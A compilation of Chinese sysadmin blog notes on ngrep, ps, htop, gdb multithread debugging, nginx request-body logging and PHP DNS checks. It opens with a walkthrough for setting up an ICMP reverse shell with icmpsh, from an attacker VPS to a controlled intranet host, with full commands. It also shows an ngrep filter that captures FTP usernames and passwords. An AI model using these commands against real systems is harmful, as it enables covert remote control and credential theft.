hacker在具有公网ip的VPS上启动server,在被控机器上启动client ,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。
有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。

能通过icmp协议抓包到Ping服务器的出口IP地址,以及反射木马的一个机制,这里的IP也就是Ping的机器在没有WebChrome的代理时访问 ip138.com的出口地址:
tcpdump -i eth1 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
16:46:11.433487 IP pinger-e2.ant.isi.edu > levoo.com: ICMP echo request, id 23878, seq 4694, length 12
16:46:11.433528 IP levoo.com > pinger-e2.ant.isi.edu: ICMP echo reply, id 23878, seq 4694, length 12
16:46:12.832107 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 15, length 40
16:46:12.832151 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 15, length 40
16:46:13.835082 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 16, length 40
16:46:13.835119 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 16, length 40
16:46:14.837375 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 17, length 40
16:46:14.837411 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 17, length 40
16:46:15.841689 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 18, length 40
16:46:15.841725 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 18, length 40

教你学木马攻防:    https://cloud.tencent.com/developer/article/1405019
ICMP传送数据原理:https://www.cnblogs.com/qiyeboy/p/9017921.html


Server端:
wget https://raw.githubusercontent.com/inquisb/icmpsh/master/icmpsh_m.py
第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip用上在这种方式获取。

VPS Server的条件:
master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:
$ sysctl -w net.ipv4.icmp_echo_ignore_all=1           (开启置为0)
然后就可以启动icmp应答程序.
先在VPS启动命令:
python icmpsh_m.py  源ip 目的ip
python icmpsh_m.py 101.200.228.135 202.108.16.80
You need to install Python Impacket library first


接着在被控端启动命令:  
icmpsh.exe -t  目的ip
这样ICMP反弹shell就建立了,可以远程执行命令了。

阅读全文
背景:深入剖析PHP输入流 php://input ,文章Url:http://www.nowamagic.net/academy/detail/12220520 ,提到ngrep抓包,以前都是tcpdump,这个小工具有点意思,于是查了下,试着安装下Ngrep试一试。

一、使用说明:
如果要分析网络数据包,我们有Wireshark,它有着上千种设定、过滤器以及配置选项。它还有一个命令行版本Tshark。如果只是针对简单的任务,我觉得Wireshark就太重量级了,所以除非我需要更强大的功能,一般情况下就用ngrep来处理了。Ngrep可以让你像类似grep处理文件的方式来处理网络封包。

针对Web流量,你几乎总是想要加上-W byline选项,这会保留换行符,而-q选项可以抑制某些非匹配数据包而产生的输出。下面是一个抓取所有包含有GET或POST请求数据包的例子:

ngrep –q –W byline “^(GET|POST) .*”
你也可以传入附加的报文过滤选项,比如限制匹配的报文只针对某个特定的主机,IP或端口。这里我们把所有流经Google的流量做一个过滤,只针对80端口且报文中包含“search”。

ngrep –q –W byline “search” host www.google.com and port 80

摘处:
http://www.csdn.net/article/2012-11-15/2811906-practical-command-line-tools

二、Solaris安装ngrep:
使用ngrep监控网络接口
  ngrep 是grep(在文本中搜索字符串的工具)的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。它当前认可 IPv4/6, TCP, UDP, ICMPv4/6, IGMP和原始交叉以太网, PPP, SLIP, FDDI, 令牌网和空端口,并以与更为普遍的分组过滤工具相同的方式了解BPF过滤逻辑,例如tcpdump和snoop。
  FreeBSD下载和安装:
      #wget ftp://ftp.sunfreeware.com/pub/freeware/intel/10/ngrep-1.45-sol10-x86-local.gz
  #gunzip ngrep-1.45-sol10-x86-local.gz
  #pkgadd ngrep-1.45-sol10-x86-local

ngrep的安装就是configure/make/make install 三部曲。
configure时是遇到please wipe out all unused pcap installations
./configure --with-pcap-includes=/usr/local/include/pcap
在安装后输入ngrep来验证下安装是否成功。
  首先看看ngrep的参数,这里只介绍主要选项。
  -q 静默模式,如果没有此开关,未匹配的数据包都以“#”显示
  -e 显示空数据包
  -i 忽略大小写
  -v 反转匹配
  -x 以16进制格式显示
  -X 以16进制格式匹配
  -w 整字匹配
  -p 不使用混杂模式
  -t 在每个匹配的包之前显示时间戳
  -T 显示上一个匹配的数据包之间的时间间隔
  -M 仅进行单行匹配
  -I 从文件中读取数据进行匹配
  -O 将匹配的数据保存到文件
  -n 仅捕获指定数目的数据包进行查看
  -A 匹配到数据包后Dump随后的指定数目的数据包
  -W 设置显示格式byline将解析包中的换行符
  -c 强制显示列的宽度
  -F 使用文件中定义的bpf(Berkeley Packet Filter)
  -N 显示由IANA定义的子协议号
  -d 使用哪个网卡,可以用-L选项查询
  -L 查询网卡接口
  图 6 是没有参数的ngerp的输出界面。
  ngrep命令输出
                                               图6 ngrep命令输出
  下面我们看两个复杂一些的例子,使用命令:
ngrep -qd pcn0 ‘IT专家网’ tcp port 80
  这个命令让ngrep 为TCP报文监控pcn0的80接口,并且只包括“IT专家网”字符串。 这样就可以获得所有该子网中使用访问IT专家网的相关信息。
  另外一个命令:
ngrep -qd pcn0 ‘USER|PASS’ tcp port 21
  这个命令让ngrep 为TCP报文监控pcn0的21接口,并且只包括“user和pass”字符串。我们知道21端口是用来进行FTP连接的端口。 这样就可以获得用于FTP连接的用户名称和密码。

来自:http://security.ctocio.com.cn/tips/30/8196030_4.shtml



三、linux下的ngrep 安装使用:
1  安装libpcap
下载地址   http://www.tcpdump.org/#latest-release
解压                    
tar -zxvf libpcap-1.4.0.tar.gz
进入目录
cd  libpcap-1.4.0
./configure
make
make install

yum install libpcap-devel.x86_64

2  安装ngrep
下载地址
git clone git://git.code.sf.net/p/ngrep/code ngrep-code
Http的:
http://pkgs.fedoraproject.org/repo/pkgs/ngrep/ngrep-code-16ba99a863a89dab25cbf8e9ca410b19a7494c42.zip/a58321bda277a741dc94020a4484bcb6/

进入目录
cd ngrep-code
./configure --with-pcap-includes=/usr/local/include/pcap
make
make install

摘自:http://blog.csdn.net/zljjava/article/details/38046595
        

四、rpm安装:
CentOS:
先用yum install libpcap完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。
如果yum无法安装就用以下步骤安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
tar -zxf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
./configure
make && make install

ngrep的安装就是configure/make/make install 三部曲。
configure时是遇到please wipe out all unused pcap installations
./configure --with-pcap-includes=/usr/local/include/pcap
在安装后输入ngrep来验证下安装是否成功。

我也遇到了:
Configuring Network Grep (ngrep) ...
checking for a complete set of pcap headers...
more than one set found in:
/usr/local/include
/usr/local/include/pcap
please wipe out all unused pcap installations
[root@test ngrep-code-16ba99a863a89dab25cbf8e9ca410b19a7494c42]# make

配置时加上路径参数:
./configure --with-pcap-includes=/usr/local/include/pcap
编译:
[root@test ngrep-code-16ba99a863a89dab25cbf8e9ca410b19a7494c42]# make
make  -C regex-0.12 regex.o
make[1]: Entering directory `/home/xiangdong/software/ngrep/ngrep-code-16ba99a863a89dab25cbf8e9ca410b19a7494c42/regex-0.12'
gcc -g  -DSTDC_HEADERS=1 -DHAVE_STRING_H=1 -DHAVE_ALLOCA_H=1 -DHAVE_ALLOCA=1  -I. -I. -c regex.c
make[1]: Leaving directory `/home/xiangdong/software/ngrep/ngrep-code-16ba99a863a89dab25cbf8e9ca410b19a7494c42/regex-0.12'
gcc  -DHAVE_CONFIG_H -DLINUX  -D_BSD_SOURCE=1 -D__FAVOR_BSD=1  -Iregex-0.12 -I/usr/local/include/pcap  -I.  -g -c ngrep.c
gcc  -s -o ngrep ngrep.o  regex-0.12/regex.o -L/usr/local/include/lib -lpcap  
安装:
[root@test ngrep-code-16ba99a863a89dab25cbf8e9ca410b19a7494c42]# make install
./install-sh -c -m 0755 ngrep  //usr/local/bin/ngrep
./install-sh -c -m 0644 ngrep.8 //usr/local/share/man/man8/ngrep.8

安装参考:http://blog.sina.com.cn/s/blog_4d14fb2b01012tqo.html

五、使用方法:
我经常使用的:
ngrep -W byline -d eth0 port 80
捕捉cloudian:18080端口的request和response。-W byline用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。-d lo是监听本地网卡
ngrep -W byline -d eth0 port 80
捕捉amazon:80端口的request和response。-d eth0 是用来监听对外的网卡

可以用-d any来捕捉所有的包,这个很管用。
ngrep '[a-zA-Z]' -t -W byline -d any tcp port 80


实践如下:



man ps里有:
ps -eLf查看线程状态,获取线程信息
-e     Select all processes.  Identical to -A.  -e 选择所有进程。 与 -A 相同。
ps -eLf
       -f 做全格式列表。该选项可与许多其他 UNIX 样式的选项结合使用,以添加额外的列。 它还会导致参数打印出来。 与 -L 一起使用时,将添加 NLWP(线程数)和 LWP(线程 ID)列。 参见 c 选项、格式关键字 args 和格式关键字 comm。


不加-e的全量,加上进程名查看此进程的所有线程(LWP (thread ID)):
ps -Lf -C pdfwatcherd
UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD
root     48369     1 48369  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48370  0    8 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48371  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48372  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48373  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48375  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48376  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48377  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48374  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48378  0    6 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48379  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48380  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48381  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48382  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d

ps -ef|grep pdfwatcherd
root     37734  7504  0 11:31 pts/1    00:00:00 grep --color=auto pdfwatcherd
root     48369     1  0 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369  0 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
48374 下面有:5个线程(48374 48369 48374 除外):
root     48374 48369 48378  0    6 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48379  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48380  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48381  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48382  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d

48369(48369     1 )下面有7个线程(去掉root     48369     1 48369):
root     48369     1 48370  0    8 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48371  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48372  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48373  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48375  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48376  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48377  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d


ps axms
ps -T -p <pdfwatcherd的PID>
将列出该进程所有线程的信息,包括线程的 ID(TID)、状态、运行时间等。
ps -T -p 48369
  PID  SPID TTY          TIME CMD
48369 48369 ?        00:00:00 pdfwatcherd
48369 48370 ?        00:00:01 pdfwatcherd
48369 48371 ?        00:00:00 pdfwatcherd
48369 48372 ?        00:00:00 pdfwatcherd
48369 48373 ?        00:00:00 pdfwatcherd
48369 48375 ?        00:00:00 pdfwatcherd
48369 48376 ?        00:00:00 pdfwatcherd
48369 48377 ?        00:00:00 pdfwatcherd
-T     Show threads, possibly with SPID column.
-p pidlist
               Select by PID.  This selects the processes whose process ID numbers appear in pidlist.  Identical to p and --pid.

打印进程树
ps -ejH
ps axjf

CentOS使用下ps命令无头计算PHP-FPM进程内存统计的方法:
0)100个子进程,加上主进程101
1)每个PHP不到10M
2)Ps显示的是kb,得大体除以1024


--no-headers    print no header line at all
ps -f -C  php --no-headers
ps -f -C  php --no-headers


看Logstash多线程, L的意思,light weight process:


执行后请用ps查看是否存在两个ppid为1的主进程,如果存在,使用kill杀掉重启中未正常杀掉的进程
PHP启动的守护进程:ps -f -C php
PHP-FPM进程:ps -f -C php-fpm

PHP-FPM的单进程单线程模型,用ps 命令,-L参数显示进程,并尽量显示其LWP(线程ID)和NLWP(线程的个数),如下:
[root@rh08 none]# ps -eLf | grep php-fpm
www      39154 22867 39154  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39155 22867 39155  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39156 22867 39156  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39157 22867 39157  2    1 10:38 ?        00:00:01 php-fpm: pool www                                                                                                            
www      39158 22867 39158  2    1 10:38 ?        00:00:01 php-fpm: pool www
上面命令查询结果的第二列为PID,第三列为PPID,第四列为LWP,第六列为NLWP。

ps命令还可以查看线程在哪个CPU上运行:
[root@rh08 none]# ps -eo ruser,pid,ppid,lwp,psr,args -L | grep php
root     22867     1 22867   1 php-fpm: master process (/usr/local/php/etc/php-fpm.conf)                                                                    
www      38929 22867 38929   0 php-fpm: pool www                                                                                                            
www      38930 22867 38930   0 php-fpm: pool www                                                                                                            
www      38934 22867 38934   0 php-fpm: pool www                                                                                                            
www      38935 22867 38935   0 php-fpm: pool www                                                                                                            
www      38936 22867 38936   0 php-fpm: pool www                                                                                                            
www      38937 22867 38937   1 php-fpm: pool www    
From:http://smilejay.com/2012/06/linux_view_threads/

yum install epel-release -y
yum install htop -y

#pstree -c|grep shutdown
        |      |-sshd---sshd---bash---sudo---su---bash---go-+-shutdown-+-{shutdown}
        |      |                                            |          |-{shutdown}
        |      |                                            |          |-{shutdown}
        |      |                                            |          |-{shutdown}
        |      |                                            |          `-{shutdown}

ps -T -p  12264
    PID    SPID TTY          TIME CMD
  12264   12264 pts/1    00:00:00 shutdown
  12264   12266 pts/1    00:00:00 shutdown
  12264   12267 pts/1    00:00:00 shutdown
  12264   12268 pts/1    00:00:00 shutdown
  12264   12269 pts/1    00:00:00 shutdown
  12264   12270 pts/1    00:00:00 shutdown

top -H -p  12264
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                                                                            
  12264 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12266 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12267 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12268 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12269 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown                                                                          
  12270 root      20   0  702872   4924    740 S   0.0   0.6   0:00.00 shutdown

Htop:
yum install htop  

htop -p 67517
    PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command                                                                                     67519 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown                                                



  67520 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown
  67521 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown
  67522 root       20   0  686M  2880   740 S  0.0  0.3  0:00.00 /tmp/go-build3856511210/b001/exe/shutdown

Display Options ,[V]Tree view  [V]show custom thread name ,勾选是空格键盘,上下键移动菜单条目,OK后,按<F10>退出设置,左斜杠搜索F2也是搜索,F3是Next,ESC推出。
一个对用户更加友好的方式是,通过htop查看单个进程的线程,它是一个基于ncurses的交互进程查看器。该程序允许你在树状视图中监控单个独立线程。
要在htop中启用线程查看,请开启htop,然后按<F2>来进入htop的设置菜单。选择“设置”栏下面的“显示选项”,然后开启“树状视图”和“显示自定义线程名”选项。按<F10>退出设置。
From: http://www.codeceo.com/article/linux-find-thread.html

0.最常用 pstree:
[root@iZ25dcp92ckZ temp]# pstree -a|grep multe
  |       |   `-multepoolser
  |       |       `-multepoolser
  |       |           `-2*[{multepoolser}]

1. > top

可以显示所有系统进程

按u, 再输入相应的执行用户名称,比如Tom

可以看到Tom用户启动的所有进程和对应的pid

2. > pstack pid

可以看到此pid下,各线程的运行状态、

[root@test multepoolserver]# pstack  14944  (进程的PID号)
Thread 2 (Thread 0x41ed5940 (LWP 14945)):
#0  0x0000003c9ae0d5cb in read () from /lib64/libpthread.so.0
#1  0x00000000004017b6 in sync_additional_writing_worker ()
#2  0x0000003c9ae064a7 in start_thread () from /lib64/libpthread.so.0
#3  0x0000003c9a2d3c2d in clone () from /lib64/libc.so.6
Thread 1 (Thread 0x2b24b3094250 (LWP 14944)):
#0  0x0000003c9a2d4018 in epoll_wait () from /lib64/libc.so.6
#1  0x0000000000401d59 in Process ()
#2  0x00000000004029b8 in main ()

来自:http://blog.csdn.net/wind_324/article/details/6152912

方法一:
ps -ef f
用树形显示进程和线程
在Linux下面好像因为没有真正的线程,是用进程模拟的,有一个是辅助线程,所以真正程序开的线程应该只有一个。

方法二:
[root@apache dhj]# ps axm|grep httpd

方法三:
另外用pstree -c也可以达到相同的效果,但是没有线程号:
[root@apache dhj]# pstree -c|grep httpd

来自:http://blog.chinaunix.net/uid-346158-id-2131012.html
阅读全文
背景:这块明说是HHVM,其实不如说是PHP运行的一个机制及于C实现的一个性能差别及内存占用的对比原因分析。
http://www.csdn.net/article/2014-12-25/2823234

摘录:
对于“弱类型”的批评观点大致如下:

    在“严谨”的语言中,通常是预先定义好一个变量的类型,自始至终,变量的类型是固定的,使用范围也是固定。而PHP的变量,通常我们只能看见它名字,类型大部分都不可以预先定义,并且还可以随意改变。(内存分配不好管理)
    为了兼容弱类型特性,PHP需要实现大量兼容代码,包括类型判断、类型转换、存储方式等,增加了语言内部的复杂度。(执行效率低下)
    变量的类型是不可控的,在执行过程中存在大量的“隐性类型转换”,容易产生不可预知的结果。(这里的确需要强调,PHP的类型转换是个必须掌握的点,各种类型的互相转换的可能会产生很多问题,尤其是初学PHP的同学哈)

他们认为,这些都不符合“所见即所得”的简单性,而语法严谨的语言更高效率,也更容易“理解”。

受到类似批评的还有Javascript等语言,因为它在这个问题上的表现是一样的。但是,一门语言最终被大规模使用,必然有它们的道理。PHP成为Web服务开发的首选脚本语言,Javascript则直接称霸Web前端领域,能走到这一步都不可能是偶然因素,开发者们用脚投票选择了它们。编程语言是人类和机器沟通的桥梁,终极追求是实现“人人皆可编程”的宏伟目标。

——————————————————————————————————————————————————————————————————————————
http://liuzhichao.com/p/1909.html
背景:Linux下的硬件有很多,如何看网卡是啥样的,声卡是啥样的有几个USB口及品牌。


该命令作用:将lspci的输出当做输入,从中找出包含Eth的行。在我的Fedora机器上运行结果为

[root@localhost etc]# lspci | grep Eth
00:04.0 Ethernet controller: Silicon Integrated Systems [SiS] SiS900 PCI Fast Ethernet (rev 91)

lspci命令解说:该命令能列出机器中的PCI设备信息,如声卡,显卡,Modem,网卡等信息,主板集成设备的信息也能列出来,lspci读取的是hwdata数据库。

| 管道命令,之前的输出作为之后的输入

grep grep命令后设置指定过滤的字符串,任何没有包括指定字符串的行都不会显示。

来自:http://www.cnblogs.com/xiandedanteng/archive/2013/08/23/3277746.html
背景:有时候用户输入了email,xxx@xxxxx.com,这个xxxxx.com是否真有A记录,MX 记录也就是说是否真有这个邮件提供商,怎么用PHP函数知道呢?checkdnsrr函数就知道,如下两种用法:
一、php验证用户输入的邮箱有效性和正确性,用checkdnsrr验证email的域名部分的有效性:

注意:checkdnsrr函数在win主机上是无效的!下面是国外某程序员提出的一种解决办法,另外写了个函数代替checkdnsrr函数:

摘自:http://www.educity.cn/develop/406028.html
二、checkdnsrr -- 根据一个给定的host name(域名)或者IP地址检查它是否有DNS记录,其实也就是检验它是否存在。
checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address
译文: checkdnsrr -- 根据一个给定的host name(域名)或者IP地址检查它是否有DNS记录,其实也就是检验它是否存在。
Note:  This function is now available on Windows platforms.
注意:该函数在windows平台不支持
我试了一下,果然,提示没有这个函数。
下面是一个hack的方法,这样,我们在windows上做开发时,也能看到效果了!

接下来我来介绍一下参数:
    bool checkdnsrr ( string $host [, string $type = "MX" ] )
    第一个参数我们就不说了,就是域名或者ip
    第二个参数是解析类型,分别有:
    A (Address) 记录     是指定主机名(或域名)对应的IP地址记录。
    MX 记录              是指定邮件交换记录(默认)
    NS 记录              是指定域名服务器的记录,指定该域名由哪个DNS来进行解析。
    SOA记录              一般在辅助的dns服务器里才用到,用来指定谁是主服务器。
    PTR记录              从ip指向域名的反向解析记录
    CNAME记录            别名记录
    AAAA记录             是一个指向IPv6的记录
    A6记录               同上
    SRV记录              它是DNS服务器的数据库中支持的一种资源记录的类型,一般是为Microsoft的活动目录设置时的应用。
    TXT记录              文本信息
    ANY记录              任何记录,所有数据类型
这个函数常被我们用于检测email是否真实存在!
摘自:http://blog.sina.com.cn/s/blog_4ce89f200100uk74.html
阅读全文
背景:安装一个破解版的Zend Studio 12.0.1后,发现PHP内置函数出现警告,按http://www.geekso.com/ZendStudioCodeAutocomplete/ 处理后也不行,于是:
**
在用 Zend Studio 编写 PHP 项目时发现调用系统函数时调试正常, 但是在编写代码时却提示函数未定义"Call to undefined function ", 在左侧语法检测状态区域栏总是显示个小黄色的三角形的感叹号. **'

解决办法:

1, 修改项目 .buildpath 文件

<?xml version="1.0" encoding="UTF-8"?> <buildpath> <buildpathentry kind="src" path=""/> <buildpathentry kind="con" path="org.eclipse.php.core.LANGUAGE"/># 新增一句 kind="con" </buildpath>

2, 重置项目编译状态

Project -> Clean -> Clean all projects

3, 重新编译项目

Project -> Build All

4, 完成! 再看看是不是小黄色的感冒号图标消失啦~

提醒: PHP Language Library 中存放的都是一些系统函数以及扩展库函数的定义原型, 当编码时调用这些函数时 Zend Studio 可以根据这些定义原型进行代码提示及补全.

最后,通过 zend studio 菜单 帮助 >> welcome 安装高版本的PHP, 可以得到支持.
Zend Studio 12.0.1默认是没有一个PHP版本的,得添加后才能支持到PHP内置函数不警告。

实践上都没有搞定:什么把PHP各个版本给加在welcome页面上选上apply啊,我把原来的样式和workspace-》defaultworkspace给删除干净后,重新指向这个地方,导入:Zend Studio 10.5.0 首选项配置文件-2014-01-07.epf 后,把前面的项目给重新建立项目,于是不警告了,好了。
参考:
http://segmentfault.com/blog/fengxiuping/1190000000449206
http://bbs.itcast.cn/thread-7244-1-1.html
背景:有时程序偶出现参数少了或没有提交到下一个链接Url里后出现问题,如何查呢,最好的办法是在nginx上的加post参数,以定位到问题才有可能对某个UIR的代码出现的问题进行排查。
og_format access '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent $request_body "$http_referer" "$http_user_agent" $http_x_forwarded_for';
access_log logs/test.access.log access;

注意放的位置在http里:nginx: [warn] the "log_format" directive may be used only on "http" level in /usr/local/nginx/conf/vhost/xxx.conf:59
nginx.conf
http里定义:wwwlog
   log_format  wwwlog  '$remote_addr - $remote_user [$time_local] "$request" '                                                                                                                      
              '$status $body_bytes_sent "$http_referer" '
              '"$http_user_agent" $http_x_forwarded_for "$request_time"';

在include每个域名里后面加上wwwlog:
access_log  /data/logs/access_mytv.log wwwlog;

于是在同样的access后这样写:

日志如下:
202.108.16.77 - - [14/Jan/2015:10:45:45 +0800] "POST /partin/releaseinfo HTTP/1.1" 302 5 id=47&choice_type=new&eid=338&videoid=5d6dabda-9b97-11e4-9584-21fa84a4ab6e&file_ext=mp4&lang=zh&upload_server=202.108.17.15&title=7%E5%B2%81%E5%B0%8F%E5%AD%A9%E9%85%92%E7%93%B6%E4%B8%8A%E5%81%9A%E4%BF%AF%E5%8D%A7%E6%92%91%E8%B9%BF%E7%BA%A2%E7%BD%91%E7%BB%9C&desc=7%E5%B2%81%E5%B0%8F%E5%AD%A9%E9%85%92%E7%93%B6%E4%B8%8A%E5%81%9A%E4%BF%AF%E5%8D%A7%E6%92%91%E8%B9%BF%E7%BA%A2%E7%BD%91%E7%BB%9C&tags=%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B%E3%80%82&checkflag=on "http://jackxiang.com/partin/showupload/activityid/47" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" -

POST URI及参数:POST /partin/releaseinfo HTTP/1.1" 302 5  .....
来自的refer Uri:http://jackxiang.com/partin/showupload/activityid/47


这个access_log的log_format应该可以定义多个不同的名供不同日志的需求。

再就是,
get请求的参数就是存放在http header中的,所以修改header的大小限制 当然可以解决请求串过长的问题啦。
阅读全文
前置:Linux多进程和多线程的一次gdb调试实例:https://typecodes.com/cseries/multilprocessthreadgdb.html ,Linux C/C++开发中gdb进行多进程和多线程的调试一直比较麻烦,在CSDN上看到高科的一篇文章《gdb调试多进程和多线程命令》比较有启发,这里就自己重新整理并做了一个GDB多进程/线程的调试实践。
这个表很重要,两个参数一块用:


也可将前面的set添加到~/.gdbinit来打开non-stop模式:


查看相关命令:
set follow-fork-mode child
set detach-on-fork off
info inferiors                    #####显示正在调试的进程
inferior 2
show detach-on-fork #Whether gdb will detach the child of a fork is off.
show follow-fork-mode #Debugger response to a program call of fork or vfork is "child"
info b #查看断点
进程树:
pstree -pul
PS查看自己程序名运行的多进程:
ps -f -C multepoolser

break  if
要想设置一个条件断点,可以利用break if命令,如下所示:
[cpp] view plain copy
(gdb) break line-or-function if expr  
(gdb) break 46 if testsize==100  
clean number
清除原文件中某一代码行上的所有断点
注:number 为原文件的某个代码行的行号


断点的管理
1. 显示当前gdb的断点信息: info break
2. delete 删除指定的某个断点: delete breakpoint

单步执行
continue      继续运行程序直到下一个断点(类似于VS里的F5)
next            逐过程步进,不会进入子函数(类似VS里的F10)  #这个不进入函数里。
setp            逐语句步进,会进入子函数(类似VS里的F11) 的确能进入到函数里面。
until           运行至当前语句块结束  #没弄明白,试了试没找到规律
finish          运行至函数结束并跳出,并打印函数的返回值(类似VS的Shift+F11)
next/n 不进入的单步执行 step 进入的单步执行
finish
如果已经进入了某函数,而想退出该函数返回到它的调用函数中,可使用命令finish
call name
调用和执行一个函数
(gdb) call gen_and_sork( 1234,1,0 )  
(gdb) call printf(“abcd”)  
$1=4  
finish 结束执行当前函数,显示其返回值(如果有的话)

原文件的搜索 search text
该命令可显示在当前文件中包含text串的下一行。
reverse-search text
该命令可以显示包含text 的前一行。

set variable 给变量赋值
signal 将一个信号发送到正在运行的进程
watch 在程序中设置一个监测点(即数据断点)
whatis 显示变量或函数类型

来自GDB调试精粹:http://blog.csdn.net/lwbeyond/article/details/7839225

GDB打印所有字符串:@ http://blog.csdn.net/shuizhizhiyin/article/details/53227913

如果出现No symbol "header_line" in current context.,你得切换到那个进程里面去,能切换进去的前提是你提前打了断点:
(gdb) p header_line
No symbol "header_line" in current context.
可:info thread 切换到对应的进程,再打印也就有了。


break FileName.cpp:LinuNum thread all:所有线程都在文件FileName.cpp的第LineNum行有断点。
thread apply ID1 ID2 IDN command:多个线程执行gdb命令command。
thread apply all command:所有线程都执行command命令。
set scheduler-locking off|on|step:在调式某一个线程时,其他线程是否执行。off,不锁定任何线程,默认值。on,锁定其他线程,只有当前线程执行。step,在step(单步)时,只有被调试线程运行。
set non-stop on/off:当调式一个线程时,其他线程是否运行。
set pagination on/off:在使用backtrace时,在分页时是否停止。
set target-async on/ff:同步和异步。同步,gdb在输出提示符之前等待程序报告一些线程已经终止的信息。而异步的则是直接返回。
来自:http://blog.csdn.net/helloktt/article/details/73252943
http://www.tolxs.com/?p=302
(gdb)  show detach-on-fork
Whether gdb will detach the child of a fork is off.
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "child"

出现:
(gdb) n
Cannot execute this command while the selected thread is running.

(gdb) info threads
  Id   Target Id         Frame
  3    Thread 0x7fffece72700 (LWP 27660) "multepoolser" handleEpollRdMessage (threadNum=0) at multepoolser.c:262
* 2    Thread 0x7ffff7fde840 (LWP 21243) "multepoolser" (running)
